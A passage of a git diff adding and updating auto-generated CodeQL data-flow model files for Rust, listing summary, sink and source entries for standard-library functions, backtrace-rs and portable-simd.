"::perm", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:std", "::size", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:std", "::from_inner", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["lang:std", "::mode", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:std", "::set_accessed", "Argument[0]", "Argument[self].Field[crate::sys::pal::unix::fs::FileTimes::accessed].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:std", "::set_created", "Argument[0]", "Argument[self].Field[crate::sys::pal::unix::fs::FileTimes::created].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:std", "::set_modified", "Argument[0]", "Argument[self].Field[crate::sys::pal::unix::fs::FileTimes::modified].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:std", "::append", "Argument[0]", "Argument[self].Field[crate::sys::pal::unix::fs::OpenOptions::append]", "value", "dfc-generated"] - - ["lang:std", "::create", "Argument[0]", "Argument[self].Field[crate::sys::pal::unix::fs::OpenOptions::create]", "value", "dfc-generated"] - - ["lang:std", "::create_new", "Argument[0]", "Argument[self].Field[crate::sys::pal::unix::fs::OpenOptions::create_new]", "value", "dfc-generated"] - - ["lang:std", "::custom_flags", "Argument[0]", "Argument[self].Field[crate::sys::pal::unix::fs::OpenOptions::custom_flags]", "value", "dfc-generated"] - - ["lang:std", "::mode", "Argument[0]", "Argument[self]", "taint", "df-generated"] - - ["lang:std", "::read", "Argument[0]", "Argument[self].Field[crate::sys::pal::unix::fs::OpenOptions::read]", "value", "dfc-generated"] - - ["lang:std", "::truncate", "Argument[0]", "Argument[self].Field[crate::sys::pal::unix::fs::OpenOptions::truncate]", "value", "dfc-generated"] - - ["lang:std", "::write", "Argument[0]", "Argument[self].Field[crate::sys::pal::unix::fs::OpenOptions::write]", "value", "dfc-generated"] - - ["lang:std", "::read", "Argument[self]", "Argument[0]", "taint", "df-generated"] - - ["lang:std", "::read_to_end", "Argument[self]", "Argument[0]", "taint", "df-generated"] - - ["lang:std", "::read_to_string", "Argument[self]", "Argument[0]", "taint", "df-generated"] + - ["lang:std", "::as_inner", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:std", "::as_inner", "Argument[self].Field[crate::sys::pal::unix::linux::pidfd::PidFd(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:std", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::into_inner", "Argument[self].Field[crate::sys::pal::unix::linux::pidfd::PidFd(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::into_inner", "Argument[self].Field[crate::sys::pal::unix::pipe::AnonPipe(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::as_file_desc", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::as_file_desc", "Argument[self].Field[crate::sys::pal::unix::pipe::AnonPipe(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::read_to_end", "Argument[self]", "Argument[0]", "taint", "df-generated"] - - ["lang:std", "::fd", "Argument[self].Reference.Field[crate::sys::pal::unix::process::process_common::ChildStdio::Explicit(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:std", "::env_mut", "Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::env]", "ReturnValue.Reference", "value", "dfc-generated"] - - ["lang:std", "::get_argv", "Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::argv].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - - ["lang:std", "::get_argv", "Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::argv].Field[crate::sys::pal::unix::process::process_common::Argv(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - - ["lang:std", "::get_closures", "Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::closures]", "ReturnValue.Reference", "value", "dfc-generated"] - - ["lang:std", "::get_gid", "Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::gid]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::get_pgroup", "Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::pgroup]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::get_program_cstr", "Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::program].Reference", "ReturnValue.Reference", "value", "dfc-generated"] - - ["lang:std", "::get_program_kind", "Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::program_kind]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::get_uid", "Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::uid]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::gid", "Argument[0]", "Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::gid].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:std", "::pgroup", "Argument[0]", "Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::pgroup].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:std", "::saw_nul", "Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::saw_nul]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::stderr", "Argument[0]", "Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::stderr].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:std", "::stdin", "Argument[0]", "Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::stdin].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:std", "::stdout", "Argument[0]", "Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::stdout].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:std", "::uid", "Argument[0]", "Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::uid].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:std", "::as_i32", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:std", "::from", "Argument[0].Field[0]", "ReturnValue.Field[crate::sys::pal::unix::process::process_common::Stdio::Fd(0)]", "value", "dfc-generated"] - - ["lang:std", "::from", "Argument[0].Field[crate::sys::pal::unix::fs::File(0)]", "ReturnValue.Field[crate::sys::pal::unix::process::process_common::Stdio::Fd(0)]", "value", "dfc-generated"] - - ["lang:std", "::from", "Argument[0].Field[crate::sys::pal::unix::pipe::AnonPipe(0)]", "ReturnValue.Field[crate::sys::pal::unix::process::process_common::Stdio::Fd(0)]", "value", "dfc-generated"] - - ["lang:std", "::from", "Argument[0]", "ReturnValue.Field[crate::sys::pal::unix::process::process_inner::ExitStatus(0)]", "value", "dfc-generated"] - - ["lang:std", "::into_raw", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::into_raw", "Argument[self].Field[crate::sys::pal::unix::process::process_inner::ExitStatus(0)]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::new", "Argument[0]", "ReturnValue.Field[crate::sys::pal::unix::process::process_inner::ExitStatus(0)]", "value", "dfc-generated"] - - ["lang:std", "::id", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::id", "Argument[self].Field[crate::sys::pal::unix::thread::Thread::id]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::checked_sub_instant", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::checked_sub_instant", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::new", "Argument[0]", "ReturnValue.Field[crate::sys::pal::unix::time::Timespec::tv_sec]", "value", "dfc-generated"] - ["lang:std", "::sub_time", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::sub_time", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::sub_timespec", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -529,9 +556,44 @@ extensions: - ["lang:std", "::get", "Argument[self].Field[crate::sys::pal::unix::weak::ExternWeak::weak_ptr]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::new", "Argument[0]", "ReturnValue.Field[crate::sys::pal::unix::weak::ExternWeak::weak_ptr]", "value", "dfc-generated"] - ["lang:std", "::new", "Argument[0]", "ReturnValue.Field[crate::sys::personality::dwarf::DwarfReader::ptr]", "value", "dfc-generated"] - - ["lang:std", "::is_poisoned", "Argument[self].Field[crate::sys::sync::once::queue::OnceState::poisoned]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::fd", "Argument[self].Reference.Field[crate::sys::process::unix::common::ChildStdio::Explicit(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:std", "::create_pidfd", "Argument[0]", "Argument[self].Field[crate::sys::process::unix::common::Command::create_pidfd]", "value", "dfc-generated"] + - ["lang:std", "::env_mut", "Argument[self].Field[crate::sys::process::unix::common::Command::env]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:std", "::get_argv", "Argument[self].Field[crate::sys::process::unix::common::Command::argv].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:std", "::get_argv", "Argument[self].Field[crate::sys::process::unix::common::Command::argv].Field[crate::sys::process::unix::common::Argv(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:std", "::get_closures", "Argument[self].Field[crate::sys::process::unix::common::Command::closures]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:std", "::get_create_pidfd", "Argument[self].Field[crate::sys::process::unix::common::Command::create_pidfd]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::get_gid", "Argument[self].Field[crate::sys::process::unix::common::Command::gid]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::get_pgroup", "Argument[self].Field[crate::sys::process::unix::common::Command::pgroup]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::get_program_cstr", "Argument[self].Field[crate::sys::process::unix::common::Command::program].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:std", "::get_program_kind", "Argument[self].Field[crate::sys::process::unix::common::Command::program_kind]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::get_uid", "Argument[self].Field[crate::sys::process::unix::common::Command::uid]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::gid", "Argument[0]", "Argument[self].Field[crate::sys::process::unix::common::Command::gid].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:std", "::pgroup", "Argument[0]", "Argument[self].Field[crate::sys::process::unix::common::Command::pgroup].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:std", "::saw_nul", "Argument[self].Field[crate::sys::process::unix::common::Command::saw_nul]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::stderr", "Argument[0]", "Argument[self].Field[crate::sys::process::unix::common::Command::stderr].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:std", "::stdin", "Argument[0]", "Argument[self].Field[crate::sys::process::unix::common::Command::stdin].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:std", "::stdout", "Argument[0]", "Argument[self].Field[crate::sys::process::unix::common::Command::stdout].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:std", "::uid", "Argument[0]", "Argument[self].Field[crate::sys::process::unix::common::Command::uid].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:std", "::as_i32", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::from", "Argument[0].Field[0]", "ReturnValue.Field[crate::sys::process::unix::common::Stdio::Fd(0)]", "value", "dfc-generated"] + - ["lang:std", "::from", "Argument[0].Field[crate::sys::fs::unix::File(0)]", "ReturnValue.Field[crate::sys::process::unix::common::Stdio::Fd(0)]", "value", "dfc-generated"] + - ["lang:std", "::from", "Argument[0].Field[crate::sys::pal::unix::pipe::AnonPipe(0)]", "ReturnValue.Field[crate::sys::process::unix::common::Stdio::Fd(0)]", "value", "dfc-generated"] + - ["lang:std", "::from", "Argument[0]", "ReturnValue.Field[crate::sys::process::unix::common::Stdio::Fd(0)]", "value", "dfc-generated"] + - ["lang:std", "::from", "Argument[0]", "ReturnValue.Field[crate::sys::process::unix::unix::ExitStatus(0)]", "value", "dfc-generated"] + - ["lang:std", "::code", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::into_raw", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::into_raw", "Argument[self].Field[crate::sys::process::unix::unix::ExitStatus(0)]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::new", "Argument[0]", "ReturnValue.Field[crate::sys::process::unix::unix::ExitStatus(0)]", "value", "dfc-generated"] + - ["lang:std", "::signal", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::stopped_signal", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::id", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::is_poisoned", "Argument[self].Field[crate::sys::sync::once::futex::OnceState::poisoned]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::new", "Argument[0]", "ReturnValue.Field[crate::sys::thread_local::key::racy::LazyKey::dtor]", "value", "dfc-generated"] + - ["lang:std", "::get", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::new", "Argument[0]", "ReturnValue.Field[crate::sys::thread_local::native::eager::Storage::val].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] - ["lang:std", "::does_clear", "Argument[self].Field[crate::sys_common::process::CommandEnv::clear]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::new", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::from_char", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::from_u32", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::sys_common::wtf8::CodePoint::value]", "value", "dfc-generated"] - ["lang:std", "::from_u32_unchecked", "Argument[0]", "ReturnValue.Field[crate::sys_common::wtf8::CodePoint::value]", "value", "dfc-generated"] @@ -539,6 +601,7 @@ extensions: - ["lang:std", "::to_trail_surrogate", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::to_u32", "Argument[self].Field[crate::sys_common::wtf8::CodePoint::value]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::next", "Argument[self].Field[crate::sys_common::wtf8::EncodeWide::extra]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:std", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::index", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::as_inner", "Argument[self].Field[crate::sys_common::wtf8::Wtf8::bytes]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::as_bytes", "Argument[self].Field[crate::sys_common::wtf8::Wtf8::bytes]", "ReturnValue.Reference", "value", "dfc-generated"] @@ -595,9 +658,6 @@ extensions: - ["lang:std", "::fract", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::rem_euclid", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::rem_euclid", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:std", "::as_raw_fd", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::from_raw_fd", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::into_raw_fd", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "crate::backtrace::helper::lazy_resolve", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "crate::io::append_to_string", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "crate::io::default_read_buf", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -625,3 +685,72 @@ extensions: - ["lang:std", "crate::thread::current::set_current", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:std", "crate::thread::current::try_with_current", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "crate::thread::with_current_name", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["lang:std", "<&crate::io::stdio::Stderr as crate::io::Write>::write", "Argument[0]", "log-injection", "df-generated"] + - ["lang:std", "<&crate::io::stdio::Stderr as crate::io::Write>::write_all", "Argument[0]", "log-injection", "df-generated"] + - ["lang:std", "<&crate::io::stdio::Stdout as crate::io::Write>::write", "Argument[0]", "log-injection", "df-generated"] + - ["lang:std", "<&crate::io::stdio::Stdout as crate::io::Write>::write_all", "Argument[0]", "log-injection", "df-generated"] + - ["lang:std", "::allocate", "Argument[self]", "alloc-layout", "df-generated"] + - ["lang:std", "::allocate_zeroed", "Argument[self]", "alloc-layout", "df-generated"] + - ["lang:std", "::grow", "Argument[self]", "alloc-layout", "df-generated"] + - ["lang:std", "::grow_zeroed", "Argument[self]", "alloc-layout", "df-generated"] + - ["lang:std", "::shrink", "Argument[self]", "alloc-layout", "df-generated"] + - ["lang:std", "::alloc", "Argument[0]", "alloc-size", "df-generated"] + - ["lang:std", "::alloc_zeroed", "Argument[0]", "alloc-layout", "df-generated"] + - ["lang:std", "::alloc_zeroed", "Argument[0]", "alloc-size", "df-generated"] + - ["lang:std", "::realloc", "Argument[2]", "alloc-size", "df-generated"] + - ["lang:std", "::realloc", "Argument[self]", "alloc-layout", "df-generated"] + - ["lang:std", "::truncate", "Argument[0]", "log-injection", "df-generated"] + - ["lang:std", "::create_buffered", "Argument[0]", "path-injection", "df-generated"] + - ["lang:std", "::open_buffered", "Argument[0]", "path-injection", "df-generated"] + - ["lang:std", "::from", "Argument[0]", "log-injection", "df-generated"] + - ["lang:std", "::from_raw_os_error", "Argument[0]", "log-injection", "df-generated"] + - ["lang:std", "::new", "Argument[0]", "log-injection", "df-generated"] + - ["lang:std", "::new_os", "Argument[0]", "log-injection", "df-generated"] + - ["lang:std", "::new_simple", "Argument[0]", "log-injection", "df-generated"] + - ["lang:std", "::exists", "Argument[self]", "path-injection", "df-generated"] + - ["lang:std", "::is_dir", "Argument[self]", "path-injection", "df-generated"] + - ["lang:std", "::is_file", "Argument[self]", "path-injection", "df-generated"] + - ["lang:std", "::is_symlink", "Argument[self]", "path-injection", "df-generated"] + - ["lang:std", "::metadata", "Argument[self]", "path-injection", "df-generated"] + - ["lang:std", "::read_dir", "Argument[self]", "path-injection", "df-generated"] + - ["lang:std", "::read_link", "Argument[self]", "path-injection", "df-generated"] + - ["lang:std", "::symlink_metadata", "Argument[self]", "path-injection", "df-generated"] + - ["lang:std", "::check_public_boundary", "Argument[0]", "log-injection", "df-generated"] + - ["lang:std", "::index", "Argument[0]", "log-injection", "df-generated"] + - ["lang:std", "::index", "Argument[self]", "log-injection", "df-generated"] + - ["lang:std", "crate::alloc::__default_lib_allocator::__rdl_alloc", "Argument[0]", "alloc-layout", "df-generated"] + - ["lang:std", "crate::alloc::__default_lib_allocator::__rdl_alloc", "Argument[0]", "alloc-size", "df-generated"] + - ["lang:std", "crate::alloc::__default_lib_allocator::__rdl_alloc_zeroed", "Argument[0]", "alloc-layout", "df-generated"] + - ["lang:std", "crate::alloc::__default_lib_allocator::__rdl_alloc_zeroed", "Argument[0]", "alloc-size", "df-generated"] + - ["lang:std", "crate::alloc::__default_lib_allocator::__rdl_realloc", "Argument[3]", "alloc-size", "df-generated"] + - ["lang:std", "crate::sys::fs::common::copy", "Argument[0]", "path-injection", "df-generated"] + - ["lang:std", "crate::sys::fs::common::copy", "Argument[1]", "path-injection", "df-generated"] + - ["lang:std", "crate::sys::fs::common::exists", "Argument[0]", "path-injection", "df-generated"] + - ["lang:std", "crate::sys::fs::common::remove_dir_all", "Argument[0]", "path-injection", "df-generated"] + - ["lang:std", "crate::sys::fs::unix::copy", "Argument[0]", "path-injection", "df-generated"] + - ["lang:std", "crate::sys::pal::unix::cvt_nz", "Argument[0]", "log-injection", "df-generated"] + - ["lang:std", "crate::sys_common::wtf8::check_utf8_boundary", "Argument[1]", "log-injection", "df-generated"] + - ["lang:std", "crate::sys_common::wtf8::slice_error_fail", "Argument[0]", "log-injection", "df-generated"] + - ["lang:std", "crate::sys_common::wtf8::slice_error_fail", "Argument[1]", "log-injection", "df-generated"] + - ["lang:std", "crate::sys_common::wtf8::slice_error_fail", "Argument[2]", "log-injection", "df-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sourceModel + data: + - ["lang:std", "::dealloc", "Argument[0]", "pointer-invalidate", "df-generated"] + - ["lang:std", "::open_buffered", "ReturnValue", "file", "df-generated"] + - ["lang:std", "::get", "ReturnValue", "pointer-invalidate", "df-generated"] + - ["lang:std", "::get_or_init", "ReturnValue", "pointer-invalidate", "df-generated"] + - ["lang:std", "crate::alloc::__default_lib_allocator::__rdl_dealloc", "Argument[0]", "pointer-invalidate", "df-generated"] + - ["lang:std", "crate::fs::copy", "ReturnValue", "file", "df-generated"] + - ["lang:std", "crate::fs::read", "ReturnValue", "file", "df-generated"] + - ["lang:std", "crate::fs::read_to_string", "ReturnValue", "file", "df-generated"] + - ["lang:std", "crate::path::absolute", "ReturnValue", "commandargs", "df-generated"] + - ["lang:std", "crate::sys::fs::common::copy", "ReturnValue", "file", "df-generated"] + - ["lang:std", "crate::sys::fs::unix::copy", "ReturnValue", "file", "df-generated"] + - ["lang:std", "crate::sys::pal::unix::thread::cgroups::quota", "ReturnValue", "file", "df-generated"] + - ["lang:std", "crate::sys::path::unix::absolute", "ReturnValue", "commandargs", "df-generated"] diff --git a/rust/ql/lib/ext/generated/rust/repo-dylib-dep.model.yml b/rust/ql/lib/ext/generated/rust/repo-dylib-dep.model.yml new file mode 100644 index 00000000000..38b672c31b2 --- /dev/null +++ b/rust/ql/lib/ext/generated/rust/repo-dylib-dep.model.yml @@ -0,0 +1,7 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo::dylib-dep", "crate::foo", "Argument[0]", "Argument[1].Parameter[0]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rust/repo-https-github.com-rust-lang-backtrace-rs-backtrace.model.yml b/rust/ql/lib/ext/generated/rust/repo-https-github.com-rust-lang-backtrace-rs-backtrace.model.yml new file mode 100644 index 00000000000..c3d95d1525d --- /dev/null +++ b/rust/ql/lib/ext/generated/rust/repo-https-github.com-rust-lang-backtrace-rs-backtrace.model.yml @@ -0,0 +1,36 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::sp", "Argument[self].Field[crate::backtrace::Frame::inner].Field[crate::backtrace::libunwind::Frame::Cloned::sp]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::clone", "Argument[self].Reference.Field[crate::backtrace::libunwind::Frame::Cloned::sp]", "ReturnValue.Field[crate::backtrace::libunwind::Frame::Cloned::sp]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::sp", "Argument[self].Reference.Field[crate::backtrace::libunwind::Frame::Cloned::sp]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::from", "Argument[0]", "ReturnValue.Field[crate::capture::Backtrace::frames]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::into", "Argument[self].Field[crate::capture::Backtrace::frames]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::from", "Argument[0]", "ReturnValue.Field[crate::capture::BacktraceFrame::frame].Field[crate::capture::Frame::Raw(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::symbols", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::colno", "Argument[self].Field[crate::capture::BacktraceSymbol::colno]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::lineno", "Argument[self].Field[crate::capture::BacktraceSymbol::lineno]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::name", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::formatter", "Argument[self].Field[crate::print::BacktraceFmt::fmt]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::frame", "Argument[self]", "ReturnValue.Field[crate::print::BacktraceFrameFmt::fmt]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::new", "Argument[0]", "ReturnValue.Field[crate::print::BacktraceFmt::fmt]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::new", "Argument[1]", "ReturnValue.Field[crate::print::BacktraceFmt::format]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::new", "Argument[2]", "ReturnValue.Field[crate::print::BacktraceFmt::print_path]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::name", "Argument[self].Field[crate::symbolize::Symbol::inner].Field[crate::symbolize::gimli::Symbol::Symtab::name]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::symbolize::SymbolName::bytes]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::as_bytes", "Argument[self].Field[crate::symbolize::SymbolName::bytes]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::new", "Argument[0]", "ReturnValue.Field[crate::symbolize::SymbolName::bytes]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::addr", "Argument[self].Field[crate::symbolize::gimli::Symbol::Frame::addr].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::name", "Argument[self].Field[crate::symbolize::gimli::Symbol::Symtab::name]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::symbolize::SymbolName::bytes]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::section", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::map", "Argument[1]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::symbolize::gimli::mmap::Mmap::len]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::pathname", "Argument[self].Field[crate::symbolize::gimli::parse_running_mmaps::MapsEntry::pathname]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::allocate", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "crate::symbolize::gimli::elf::handle_split_dwarf", "Argument[2].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::new", "Argument[0]", "path-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/rust/repo-https-github.com-rust-lang-portable-simd-core_simd.model.yml b/rust/ql/lib/ext/generated/rust/repo-https-github.com-rust-lang-portable-simd-core_simd.model.yml new file mode 100644 index 00000000000..c06c77cff2c --- /dev/null +++ b/rust/ql/lib/ext/generated/rust/repo-https-github.com-rust-lang-portable-simd-core_simd.model.yml @@ -0,0 +1,48 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::bitand", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::bitor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::bitxor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::bitand", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::bitand_assign", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::bitor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::bitor_assign", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::bitxor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::bitxor_assign", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", 